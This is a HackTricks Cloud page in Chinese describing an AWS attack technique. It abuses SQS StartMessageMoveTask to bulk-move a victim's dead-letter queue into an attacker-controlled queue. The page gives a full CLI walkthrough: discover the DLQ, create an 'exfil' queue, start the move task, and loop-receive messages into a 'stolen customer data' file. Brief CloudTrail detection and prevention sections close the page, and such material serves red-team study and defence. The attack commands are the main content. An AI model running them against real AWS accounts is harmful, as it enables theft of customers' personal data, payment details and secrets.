AWS – SQS DLQ Redrive 数据外泄(通过 StartMessageMoveTask)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
描述
滥用 SQS 的 message move task,通过 sqs:StartMessageMoveTask 将受害者的 Dead-Letter Queue (DLQ) 中累计的所有消息重定向到攻击者控制的队列,以窃取数据。该技术利用了 AWS 的合法消息恢复功能来外泄随着时间在 DLQ 中累积的敏感数据。
什么是 Dead-Letter Queue (DLQ)?
Dead-Letter Queue 是一种特殊的 SQS 队列,当主应用无法成功处理消息时,消息会自动发送到该队列。这些失败的消息通常包含:
- 无法处理的敏感应用数据
- 错误详情和调试信息
- 个人可识别信息 (PII)
- API token、凭据或其他秘密
- 业务关键的事务数据
DLQ 类似于失败消息的“墓地”,因为应用无法正确处理的敏感数据会随着时间累积,使其成为有价值的目标。
攻击场景
真实世界示例:
- 电商应用 通过 SQS 处理客户订单
- 一些订单处理失败(支付问题、库存问题等)并被移动到 DLQ
- DLQ 累积 了数周/数月的失败订单,包含客户数据:
{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"} - 攻击者获取 具有 SQS 权限的 AWS 凭证
- 攻击者发现 DLQ 中包含数千条带有敏感数据的失败订单
- 攻击者不想逐条访问消息(慢且明显),而是使用
StartMessageMoveTask将所有消息批量转移到自己的队列 - 攻击者一次性提取 所有历史敏感数据
前提条件
- 源队列必须被配置为 DLQ(至少被某个队列的 RedrivePolicy 引用)。
- IAM 权限(以被攻陷的受害者主体身份运行):
- 在 DLQ(源)上:
sqs:StartMessageMoveTask,sqs:GetQueueAttributes。 - 在目标队列上:允许传递消息的权限(例如,队列策略允许来自受害者主体的
sqs:SendMessage)。对同账户的目标队列这通常是默认允许的。 - 如果启用了 SSE-KMS:在源 CMK 上需要
kms:Decrypt,在目标 CMK 上需要kms:GenerateDataKey,kms:Encrypt。
影响
潜在影响:使用原生 SQS API 高速外泄 DLQ 中累积的敏感负载(失败事件、PII、token、应用负载)。如果目标队列策略允许来自受害者主体的 SendMessage,则可跨账户工作。
如何滥用
- 确定受害者 DLQ 的 ARN,并确认它实际上被某个队列作为 DLQ 引用(任意队列均可)。
- 创建或选择一个攻击者控制的目标队列并获取其 ARN。
- 启动从受害者 DLQ 到你目标队列的 message move task。
- 监控进度或在需要时取消任务。
CLI 示例:从电商 DLQ 外泄客户数据
场景:攻击者已攻破 AWS 凭证,发现电商应用使用 SQS 且 DLQ 中包含失败的客户订单处理尝试。
- 发现并检查受害者的 DLQ
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
- 创建由攻击者控制的目标队列
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
- 执行 bulk message theft
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)
echo "Move task started: $TASK_RESPONSE"
# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
- 收集被窃取的敏感数据
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5
# Example of what an attacker might see:
# {
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
# "MessageId": "12345-abcd-6789-efgh"
# }
# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi
echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done
跨账户说明
- 目标队列必须有资源策略,允许受害者主体执行
sqs:SendMessage(以及在使用时的 KMS 授权/权限)。
为什么此攻击有效
- 合法的 AWS 功能:利用内置的 AWS 功能,使其难以被识别为恶意活动
- 批量操作:快速转移数千条消息,而非缓慢的逐条访问
- 历史数据:DLQs 会在数周/数月内积累敏感数据
- 不易被察觉:许多组织并不密切监控对 DLQ 的访问
- 支持跨账户:可以 exfiltrate 到攻击者自己的 AWS 账户(如果权限允许)
检测与防护
检测
监控 CloudTrail 是否存在可疑的 StartMessageMoveTask API 调用:
{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}
预防
- 最小特权: 限制
sqs:StartMessageMoveTask权限,仅授予必要的角色 - 监控 DLQs: 为异常的 DLQ 活动设置 CloudWatch 警报
- 跨账户策略: 仔细审查允许跨账户访问的 SQS 队列策略
- 加密 DLQs: 使用 SSE-KMS 并限制密钥策略
- 定期清理: 不要让敏感数据在 DLQs 中无限期堆积
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

